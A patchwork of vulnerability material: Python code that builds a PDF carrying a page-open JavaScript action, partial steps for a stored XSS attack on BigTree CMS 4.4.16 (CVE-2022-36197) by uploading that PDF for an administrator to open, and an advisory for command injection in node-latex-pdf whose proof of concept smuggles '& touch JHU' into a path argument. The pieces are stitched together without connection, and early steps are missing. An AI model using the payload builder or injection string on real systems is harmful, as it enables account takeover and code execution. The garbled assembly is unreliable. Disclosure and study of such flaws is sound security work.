def make\_field(name, x, y, width, height, r, g, b, value\=""):
    annot \= PdfDict()
    annot.Type \= PdfName.Annot
    annot.Subtype \= PdfName.Widget
    annot.FT \= PdfName.Tx
    annot.Ff \= 2
    annot.Rect \= PdfArray(\[x, y, x + width, y + height\])
    annot.MaxLen \= 160
    annot.T \= PdfString.encode(name)
    annot.V \= PdfString.encode(value)

    \# Default appearance stream: can be arbitrary PDF XObject or
    \# something. Very general.
    annot.AP \= PdfDict()

    ap \= annot.AP.N \= PdfDict()
    ap.Type \= PdfName.XObject
    ap.Subtype \= PdfName.Form
    ap.FormType \= 1
    ap.BBox \= PdfArray(\[0, 0, width, height\])
    ap.Matrix \= PdfArray(\[1.0, 0.0, 0.0, 1.0, 0.0, 0.0\])
    ap.stream \= """
%f %f %f rg
0.0 0.0 %f %f re f
""" % (r, g, b, width, height)

    \# It took me a while to figure this out. See PDF spec:
    \# https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf\_reference\_1-7.pdf#page=641

    \# Basically, the appearance stream we just specified doesn't
    \# follow the field rect if it gets changed in JS (at least not in
    \# Chrome).

    \# But this simple MK field here, with border/color
    \# characteristics, \_does\_ follow those movements and resizes, so
    \# we can get moving colored rectangles this way.
    annot.MK \= PdfDict()
    annot.MK.BG \= PdfArray(\[r, g, b\])

    return annot

def make\_page(fields, script):
    page \= PdfDict()
    page.Type \= PdfName.Page

    page.Resources \= PdfDict()
    page.Resources.Font \= PdfDict()
    page.Resources.Font.F1 \= PdfDict()
    page.Resources.Font.F1.Type \= PdfName.Font
    page.Resources.Font.F1.Subtype \= PdfName.Type1
    page.Resources.Font.F1.BaseFont \= PdfName.Helvetica

    page.MediaBox \= PdfArray(\[0, 0, 612, 792\])

    page.Contents \= PdfDict()
    page.Contents.stream \= """
BT
/F1 24 Tf
ET
    """

    annots \= fields

    page.AA \= PdfDict()
    \# You probably should just wrap each JS action with a try/catch,
    \# because Chrome does no error reporting or even logging otherwise;
    \# you just get a silent failure.
    page.AA.O \= make\_js\_action("""
try {
  %s
} catch (e) {
  app.alert(e.message);
}
    """ % (script))

    page.Annots \= PdfArray(annots)
    return page

if len(sys.argv) \> 1:
    js\_file \= open(sys.argv\[1\], 'r')

    fields \= \[\]
    for line in js\_file:
        if not line.startswith('/// '): break
        pieces \= line.split()
        params \= \[pieces\[1\]\] + \[float(token) for token in pieces\[2:\]\]
        fields.append(make\_field(\*params))

    js\_file.seek(0)

    out \= PdfWriter()
    out.addpage(make\_page(fields, js\_file.read()))
    out.write('result.pdf')

3.  Back to Files then we can see result.pdf have been upload:  
    
4.  When the administrator click the result.pdf it will trigger a XSS attack. In addition, after switching to a normal user, the normal user still have permission to access/site/index.php/admin/files/result.pdf and trigger a XSS attack.

CVE-2022-36197: A stored cross-site scripting (XSS) vulnerability exists in BigTree CMS 4.4.16 · Issue #392 · bigtreecms/BigTree-CMS

A command injection vulnerability affects all versions of the package node-latex-pdf.

**node-latex-pdf is susceptible to command injection**

Critical severity GitHub Reviewed Published Aug 3, 2022 • Updated Aug 10, 2022

GHSA-32fw-9wq8-9x9c: node-latex-pdf is susceptible to command injection

This affects all versions of package node-latex-pdf.

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

*   **snyk-id**
    
    SNYK-JS-NODELATEXPDF-1050426
    
*   **published**
    
    21 Jan 2021
    
*   **disclosed**
    
    11 Dec 2020
    
*   **credit**
    
    JHU System Security Lab
    

**How to fix?**

There is no fixed version for node-latex-pdf.

**Overview**

node-latex-pdf is a package that converts your latex files to pdf format.

Affected versions of this package are vulnerable to Command Injection.

**PoC**

    var a =require("node-latex-pdf");
    a("./","& touch JHU",function(){})

Tag

#pdf